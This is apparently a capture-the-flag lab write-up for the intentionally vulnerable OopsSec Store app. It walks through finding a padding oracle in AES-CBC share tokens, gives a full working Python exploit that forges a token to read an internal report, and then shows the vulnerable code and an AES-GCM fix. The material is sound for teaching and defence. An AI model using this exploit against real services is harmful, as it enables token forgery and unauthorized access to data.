OopsSec Store has a “Share Order” button that generates encrypted links. No login needed to open them. The tokens use AES-256-CBC, but nobody bothered adding an HMAC or using authenticated encryption. Worse, the server returns different status codes for “bad padding” and “resource not found”. That’s a textbook padding oracle, and we can abuse it to forge a token that decrypts to whatever plaintext we want.
Table of contents
Open Table of contents
Lab setup
From an empty directory:
npx create-oss-store oss-store
cd oss-store
npm start
Or with Docker (no Node.js required):
docker run -p 3000:3000 leogra/oss-oopssec-store
The app runs at http://localhost:3000.
Target identification
After placing an order, the confirmation page shows a “Share Order” button. Clicking it generates a share URL:
http://localhost:3000/api/documents/share?token=a1b2c3d4...
The token is a hex string. Visit the URL and you get order details as JSON, no authentication required. It’s 64 hex characters long, so 32 bytes: 16 bytes IV + 16 bytes ciphertext. A single AES block.
Discovery: finding the oracle
Grab a valid token and start poking at it. Generate a share link from an order page, then extract the token.
Confirming the token works
TOKEN="<your-token-here>"
curl -s "http://localhost:3000/api/documents/share?token=$TOKEN"
Response (200):
{
"type": "order",
"order": {
"id": "ORD-004",
"total": 12.99,
"status": "PENDING",
...
}
}
Flipping a byte in the ciphertext
Modify one hex character near the end of the token (in the ciphertext portion, bytes 17-32):
# Change the last hex digit
MODIFIED="${TOKEN:0:63}0"
curl -s -o /dev/null -w "%{http_code}" "http://localhost:3000/api/documents/share?token=$MODIFIED"
Response: 400 — {"error": "Invalid share token format"}
Decryption failed. Bad padding.
Flipping a byte in the IV
For a single block the IV is the previous block: each IV byte XORs into exactly one plaintext byte. To keep valid padding while still corrupting the content, flip a byte that lands inside the resource id (ORD-004), not the order type name and not the last byte (which carries the padding). Here we change a byte in the middle of the IV:
# Change a hex digit mapping to the resource id (leaves "order:" and the padding intact)
MODIFIED="${TOKEN:0:12}0${TOKEN:13}"
curl -s -o /dev/null -w "%{http_code}" "http://localhost:3000/api/documents/share?token=$MODIFIED"
Response: 404 — {"error": "Shared resource not found"}
The padding byte is untouched, so decryption succeeds, but the plaintext now reads order:<garbage>. The server parsed a valid type, looked up a resource that doesn’t exist, and returned 404.
Two traps to avoid when probing: flipping the last IV byte corrupts the padding itself → 400, and flipping a byte in the order type name makes the type unknown → 400 Unsupported resource type. Only a byte inside the id gives a clean 404.
There’s our oracle: a 400 means the padding was rejected, while any non-400 response (404 here) means the padding was valid and the server simply couldn’t route the plaintext. The attack needs exactly that one bit.
Understanding the vulnerability
AES-CBC decryption
For a single-block ciphertext:
Plaintext = Decrypt(Key, CiphertextBlock) XOR IV
Decrypting the cipher block gives an “intermediate value”. XOR that with the IV and you get the plaintext. The thing is, if we figure out the intermediate value, we can pick an IV that XORs it into whatever plaintext we want.
PKCS#7 padding
The last block must have valid PKCS#7 padding. For a 13-byte plaintext like order:ORD-001:
o r d e r : O R D - 0 0 1 03 03 03
The last 3 bytes are \x03\x03\x03 (3 bytes of padding, each with value 3).
For a 15-byte plaintext like report:internal:
r e p o r t : i n t e r n a l 01
Just one byte of padding: \x01.
The attack step by step
To recover intermediate[15] (the last intermediate byte):
- Set a test IV where bytes 0-14 are anything and byte 15 is our guess
g - Send
testIV + originalCipherBlockto the server - The server computes
plaintext[15] = intermediate[15] XOR g - If
plaintext[15] == 0x01, padding is valid and the server returns 404 instead of 400 - When we find the right
g:intermediate[15] = g XOR 0x01
For byte 14, we want 2-byte padding (\x02\x02):
- Set
testIV[15] = intermediate[15] XOR 0x02(forces last byte to\x02) - Brute-force
testIV[14]from 0 to 255 - When padding is valid:
intermediate[14] = g XOR 0x02
Repeat for all 16 bytes. Worst case: 256 x 16 = 4,096 requests for one block.
Handling false positives
When attacking the last byte, a guess might produce valid padding like \x02\x02 (if the second-to-last decrypted byte happens to be \x02) instead of the \x01 we’re looking for. Easy to check:
- Flip byte 14 of the test IV
- If the server now returns 400, the original result was a false positive (the padding was
\x02\x02, not\x01) - Skip this guess and move on
One more subtlety: the 400-vs-non-400 signal isn’t perfectly clean. A decryption that produces valid padding but whose plaintext happens to contain a : followed by an unknown type also returns 400 (Unsupported resource type). Since intermediate = plaintext XOR IV is effectively random per token, there’s roughly a 6% chance (1 - (255/256)^16) that the block’s intermediate value contains a : (0x3a), in which case the highest byte can’t be recovered and the script bails out. If that happens, just generate a fresh share token and run it again.
Exploitation
Step 1: Generate a valid share token
Log in (e.g., as alice@example.com / iloveduck), place an order, and click “Share Order” on the confirmation page. Copy the token from the generated URL.
TOKEN="<your-64-char-hex-token>"
Step 2: Confirm the oracle
# Original token — should return 200
curl -s -o /dev/null -w "%{http_code}" "http://localhost:3000/api/documents/share?token=$TOKEN"
# Flip last ciphertext byte — should return 400 (bad padding)
FLIP_CT="${TOKEN:0:63}$(printf '%x' $(( (0x${TOKEN:63:1} + 1) % 16 )))"
curl -s -o /dev/null -w "%{http_code}" "http://localhost:3000/api/documents/share?token=$FLIP_CT"
# Flip a byte inside the resource id — should return 404 (valid padding, wrong resource)
FLIP_IV="${TOKEN:0:12}$(printf '%x' $(( (0x${TOKEN:12:1} + 1) % 16 )))${TOKEN:13}"
curl -s -o /dev/null -w "%{http_code}" "http://localhost:3000/api/documents/share?token=$FLIP_IV"
Step 3: Discover the target resource
Once you can decrypt your own token, you’ll see the format is order:<id>. But what other resource types exist?
Forge a token with a garbage type (e.g., aaaa:test) and the server tells you:
{
"error": "Unsupported resource type 'aaaa'. Expected: order, report"
}
So report is a valid type. Try common identifiers: report:internal, report:admin, report:secret… The target is report:internal.
Step 4: Run the padding oracle attack
Here’s the full Python exploit:
#!/usr/bin/env python3
"""Padding oracle exploit for OopsSec Store share tokens."""
import requests
import sys
BASE_URL = "http://localhost:3000"
BLOCK_SIZE = 16
def has_valid_padding(token_hex: str) -> bool:
"""Returns True if the server indicates valid padding (non-400 response)."""
r = requests.get(f"{BASE_URL}/api/documents/share", params={"token": token_hex})
return r.status_code != 400
def recover_intermediate(cipher_block: bytes) -> bytearray:
"""Recover the intermediate state of a cipher block using the padding oracle."""
intermediate = bytearray(BLOCK_SIZE)
for byte_pos in range(BLOCK_SIZE - 1, -1, -1):
padding_value = BLOCK_SIZE - byte_pos
# Build test IV with known intermediate bytes set for target padding
test_iv = bytearray(BLOCK_SIZE)
for k in range(byte_pos + 1, BLOCK_SIZE):
test_iv[k] = intermediate[k] ^ padding_value
found = False
for guess in range(256):
test_iv[byte_pos] = guess
token_hex = (bytes(test_iv) + cipher_block).hex()
if has_valid_padding(token_hex):
# Verify to avoid false positives on the last byte
if byte_pos == BLOCK_SIZE - 1 and padding_value == 1:
verify_iv = bytearray(test_iv)
verify_iv[byte_pos - 1] ^= 1
verify_token = (bytes(verify_iv) + cipher_block).hex()
if not has_valid_padding(verify_token):
continue
intermediate[byte_pos] = guess ^ padding_value
print(
f" [+] Byte {byte_pos:2d}: "
f"intermediate=0x{intermediate[byte_pos]:02x} "
f"(guess=0x{guess:02x}, padding=0x{padding_value:02x})"
)
found = True
break
if not found:
print(f" [-] Failed to find byte {byte_pos}")
sys.exit(1)
return intermediate
def forge_token(intermediate: bytearray, target: str, cipher_block: bytes) -> str:
"""Forge a new IV so the cipher block decrypts to the target plaintext."""
target_bytes = target.encode("utf-8")
pad_len = BLOCK_SIZE - len(target_bytes)
if pad_len <= 0:
print(f"[-] Target '{target}' must be shorter than {BLOCK_SIZE} bytes")
sys.exit(1)
padded = target_bytes + bytes([pad_len] * pad_len)
new_iv = bytearray(BLOCK_SIZE)
for i in range(BLOCK_SIZE):
new_iv[i] = intermediate[i] ^ padded[i]
return (bytes(new_iv) + cipher_block).hex()
def main():
if len(sys.argv) < 2:
print(f"Usage: {sys.argv[0]} <share-token-hex>")
print(" Get a token by clicking 'Share Order' on an order page")
sys.exit(1)
token_hex = sys.argv[1]
token_bytes = bytes.fromhex(token_hex)
if len(token_bytes) < 32:
print("[-] Token too short. Expected at least 32 bytes (IV + 1 block)")
sys.exit(1)
iv = token_bytes[:16]
cipher_block = token_bytes[16:32]
print(f"[*] Token: {token_hex}")
print(f"[*] IV: {iv.hex()}")
print(f"[*] Block: {cipher_block.hex()}")
print()
# Step 1: Recover intermediate state
print("[*] Recovering intermediate state using padding oracle...")
intermediate = recover_intermediate(cipher_block)
print(f"\n[+] Intermediate: {intermediate.hex()}")
# Verify by recovering the original plaintext
original_plaintext = bytearray(BLOCK_SIZE)
for i in range(BLOCK_SIZE):
original_plaintext[i] = intermediate[i] ^ iv[i]
print(f"[+] Original plaintext (raw): {bytes(original_plaintext)}")
print()
# Step 2: Forge token for 'report:internal'
target = "report:internal"
print(f"[*] Forging token for '{target}'...")
forged_token = forge_token(intermediate, target, cipher_block)
print(f"[+] Forged token: {forged_token}")
print()
# Step 3: Retrieve the flag
print("[*] Sending forged token...")
r = requests.get(
f"{BASE_URL}/api/documents/share", params={"token": forged_token}
)
print(f"[*] Status: {r.status_code}")
data = r.json()
print(f"[*] Response: {data}")
if "flag" in data:
print(f"\n[+] FLAG: {data['flag']}")
else:
print("\n[-] No flag in response. Something went wrong.")
if __name__ == "__main__":
main()
Step 5: Run the exploit
python3 exploit.py <your-token-hex>
The script parses the token into IV and cipher block, brute-forces each byte of the intermediate state (up to 4,096 requests, a few seconds), forges a new IV so the block decrypts to report:internal, and sends the forged token.
Note: If you already know the plaintext (e.g.,
order:ORD-001), you can compute the intermediate state directly asintermediate[i] = iv[i] XOR plaintext_with_padding[i]— no oracle queries needed. That’s a useful shortcut for testing, but the real attack doesn’t assume known plaintext: it recovers the intermediate state one byte at a time by brute-forcing each IV byte and observing the server’s response (400 vs non-400).
Step 6: Get the flag
The forged token decrypts to report:internal, and the share endpoint serves it up:
{
"type": "report",
"title": "Internal Security Audit Report",
"content": "Quarterly security assessment completed. All systems operational. No critical findings.",
"flag": "OSS{p4dd1ng_0r4cl3_f0rg3d_t0k3n}"
}
Vulnerable code analysis
Two things make this work.
First, no ciphertext authentication. Encrypt-only, no HMAC:
export function encryptShareToken(plaintext: string): string {
const iv = crypto.randomBytes(16);
const cipher = crypto.createCipheriv("aes-256-cbc", SHARE_KEY, iv);
const encrypted = Buffer.concat([
cipher.update(plaintext, "utf8"),
cipher.final(),
]);
return Buffer.concat([iv, encrypted]).toString("hex");
// No HMAC computed over (IV + ciphertext)
}
Without an HMAC, the server can’t tell if someone tampered with the ciphertext before trying to decrypt it. Every modified token hits the decryption logic.
Second, distinguishable error responses:
try {
resourcePath = decryptShareToken(token);
} catch {
// Padding error → 400
return NextResponse.json(
{ error: "Invalid share token format" },
{ status: 400 }
);
}
// Valid padding → resource lookup → 404 if not found
The catch block handles the decipher.final() exception (thrown on invalid PKCS#7 padding) and returns 400. If decryption succeeds but the resource doesn’t exist, the endpoint returns 404. That difference is all we need.
Remediation
Switch from AES-CBC to AES-GCM:
import crypto from "crypto";
const ALGORITHM = "aes-256-gcm";
export function encryptShareToken(plaintext: string): string {
const iv = crypto.randomBytes(12); // GCM standard nonce size
const cipher = crypto.createCipheriv(ALGORITHM, SHARE_KEY, iv);
const encrypted = Buffer.concat([
cipher.update(plaintext, "utf8"),
cipher.final(),
]);
const authTag = cipher.getAuthTag(); // 16-byte authentication tag
return Buffer.concat([iv, authTag, encrypted]).toString("hex");
}
export function decryptShareToken(tokenHex: string): string {
const data = Buffer.from(tokenHex, "hex");
const iv = data.subarray(0, 12);
const authTag = data.subarray(12, 28);
const ciphertext = data.subarray(28);
const decipher = crypto.createDecipheriv(ALGORITHM, SHARE_KEY, iv);
decipher.setAuthTag(authTag);
return Buffer.concat([
decipher.update(ciphertext),
decipher.final(),
]).toString("utf8");
}
With GCM, any modification to the IV, ciphertext, or auth tag causes decipher.final() to throw before producing any plaintext. No padding to leak, no oracle.
If you’re stuck with CBC for some reason, use Encrypt-then-MAC: compute HMAC-SHA256(key, IV || ciphertext) after encryption, verify the HMAC before decryption, and return the same error regardless of what went wrong.